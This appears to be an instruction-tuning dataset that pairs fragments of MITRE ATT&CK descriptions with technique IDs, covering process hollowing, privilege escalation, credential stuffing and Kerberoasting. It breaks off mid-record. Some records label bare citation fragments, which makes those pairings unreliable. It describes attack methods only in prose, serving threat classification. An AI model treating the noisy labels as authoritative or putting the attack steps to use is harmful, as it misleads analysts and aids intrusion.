"List the MITRE techniques contained in the text.", "input": "Process hollowing is a method of executing arbitrary code in the address space of a separate live process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process hollowing is a method of executing arbitrary code in the address space of a separate live process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Process hollowing is commonly performed by creating a process in a suspended state then unmapping/hollowing its memory, which can then be replaced with malicious code. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A victim process can be created with native Windows API calls such as <code>CreateProcess</code>, which includes a flag to suspend the processes primary thread. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017)", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: At this point the process can be unmapped using APIs calls such as <code>ZwUnmapViewOfSection</code> or <code>NtUnmapViewOfSection</code>  before being written to, realigned to the injected code, and resumed via <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>, <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation: Leitch Hollowing)(Citation: Elastic Process Injection July 2017) ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This is very similar to [Thread Local Storage](https://attack.mitre.org/techniques/T1055/005) but creates a new process rather than targeting an existing process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process.", "output": "T1055.012", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, execution via process hollowing may also evade detection from security products since the execution is masked under a legitimate process. ### Response: T1055.012."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may exploit software vulnerabilities in an attempt to elevate privileges.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: When initially gaining access to a system, an adversary may be operating within a lower privileged process which will prevent them from accessing certain resources on the system. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Vulnerabilities may exist, usually in operating system components and software commonly running at higher permissions, that can be exploited to gain higher levels of access on the system. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could enable someone to move from unprivileged or user level permissions to SYSTEM or root permissions depending on the component that is vulnerable. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This could also enable an adversary to move from a virtualized environment, such as within a virtual machine or container, onto the underlying host. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may be a necessary step for an adversary compromising an endpoint system that has been properly configured and limits other privilege escalation methods. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode.", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may bring a signed vulnerable driver onto a compromised machine so that they can exploit the vulnerability to execute code in kernel mode. ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation:", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This process is sometimes referred to as Bring Your Own Vulnerable Driver (BYOVD).(Citation: ESET InvisiMole June 2020)(Citation: ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 AcidBox June 2020)", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 AcidBox June 2020) ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570).", "output": "T1068", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may include the vulnerable driver with files delivered during Initial Access or download it to a compromised system via [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105) or [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570). ### Response: T1068."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to hide artifacts associated with their behaviors to evade detection.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system.", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation:", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MalwareBytes ADS July 2015)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MalwareBytes ADS July 2015) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)", "output": "T1564", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020) ### Response: T1564."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using <code>ls", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file\u2019s extended attributes, using <code>ls ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "-l@</code> or <code>xattr -l</code> commands.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: -l@</code> or <code>xattr -l</code> commands. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Resource forks have been deprecated and replaced with the application bundle structure.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Resource forks have been deprecated and replaced with the application bundle structure. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes) ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked.", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation:", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "tau bundlore erika noerenberg 2020)", "output": "T1564.009", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: tau bundlore erika noerenberg 2020) ### Response: T1564.009."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users.", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts. ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation:", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also subsequently log off and/or perform a [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529) to set malicious changes into place.(Citation: CarbonBlack LockerGoga 2019)(Citation: ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit42 LockerGoga 2019)", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit42 LockerGoga 2019) ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code>", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Windows, [Net](https://attack.mitre.org/software/S0039) utility, <code>Set-LocalUser</code> and <code>Set-ADAccountPassword</code> ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts.", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets may be used by adversaries to modify user accounts. ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In Linux, the <code>passwd</code> utility may be used to change passwords.", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In Linux, the <code>passwd</code> utility may be used to change passwords. ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Accounts could also be disabled by Group Policy.", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Accounts could also be disabled by Group Policy. ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective.", "output": "T1531", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries who use ransomware or similar attacks may first perform this and other Impact behaviors, such as [Data Destruction](https://attack.mitre.org/techniques/T1485) and [Defacement](https://attack.mitre.org/techniques/T1491), in order to impede incident response/recovery before completing the [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) objective. ### Response: T1531."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Brute forcing credentials may take place at various points during a breach.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Brute forcing credentials may take place at various points during a breach. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201).", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", "output": "T1110", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access. ### Response: T1110."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, management services over commonly used ports are used when stuffing credentials.", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, management services over commonly used ports are used when stuffing credentials. ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Commonly targeted services include the following:\n\n* SSH (22/TCP)\n*", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Telnet (23/TCP)\n* FTP (21/TCP)", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Telnet (23/TCP)\n* FTP (21/TCP) ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n*", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n*", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP) ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)", "output": "T1110.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018) ### Response: T1110.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Service principal names (SPNs) are used to uniquely identify each instance of a Windows service.", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)).", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016)", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016) ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC).", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials.", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: AdSecurity Cracking Kerberos Dec 2015)", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: AdSecurity Cracking Kerberos Dec 2015) ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016)", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) ### Response: T1208."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This same attack could be executed using service tickets captured from network traffic.", "output": "T1208", "text": "Below is an instruction that describes a task, paired with an 